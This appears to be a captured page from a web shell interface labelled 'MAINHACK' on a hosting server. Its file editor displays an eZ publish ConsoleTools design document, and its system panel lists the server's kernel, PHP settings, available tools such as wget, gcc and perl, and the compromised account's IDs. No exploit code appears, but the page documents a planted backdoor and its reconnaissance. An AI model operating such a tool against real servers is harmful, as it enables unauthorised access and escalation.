[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: design.txt
File is not writable. Editing disabled.
eZ publish Enterprise Component: ConsoleTools, Requirements ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Introduction ============ Purpose of the ConsoleTools package ----------------------------------- The ConsoleTools package will contain several classes to support comfortable development of console based applications. These classes shall be designed as independant as possible from each other to let the user flexibly choose, which ones he likes to use and which not. Aimed features are: - Comfortable handling of options and parameters (long, short, values,...) - Formatting assistance for console output (placing, colors,...) - Convenience functionality to deal with Windoze and Unix based systems Current implementation ---------------------- Included classes ^^^^^^^^^^^^^^^^ 2 classes are directly involved in the CLI handling. eZScript General initiallization and shutdown script functionality. Very eZ publish specific. Handles initialization of database connection for example, but also some CLI related actions like shutting down every thing cleanly and returning an exit code. eZCLI Handles general console output, formating and option parsing. External classes ^^^^^^^^^^^^^^^^ Beside that, there are dependencies to log/debug/whatever and the following ones. eZTextCodec Base clase for drivers that convert text between different output formats. Currently has 1 extending class: eZCodePageCodec. Part of the I18N package. General involved classes: eZPublishSDK, eZDebug, eZINI, eZDebugSetting, eZExecution, eZExtension, eZDB, eZSession, eZUser, eZModule General notes ------------- The functionality for console handling seems to be widly spread over the current eZ publish classes. Beside that, it is not quite feature complete and mixed around with web handling classes. Requirenments ============= Design goals ------------ The command line handling classes should be redesigned completly, since it's currently messed up with web related stuff and fully integrated with eZ publish. Following functionality will be included: - General in and output handling functionality - Output strings - Style output (color, underline?, ...) - Position change - Error/notice/warning support - Handling of options - Long / short options - Dealing with help output - Optional and required stuff - Dependencies and exclusion of options - Handling of advanced output - Progress bars (single, keep multiple in mind) - Tables All parts should be as independant as possible. Some parts depend quite hardly on the output itself, this is ok. Option parsing and handling should _not_ depend on the output class. Design ====== The design for this package has been splitted into 3 categories of classes: Output This type of classes provide low level output functionality for console based applications (like styling text, line breaking,...). Generation This type of classes provide more advanced outputing features (like generating structures of text automatically, providing advances tools,...). This type of classes depends on the Output classes described above, since they output data. Handling This type of classes is independant of both above shown categories and provides features for handling common functions in console based applications. Since they do not have to output directly, there is no need to depend on output functionality.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.23 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A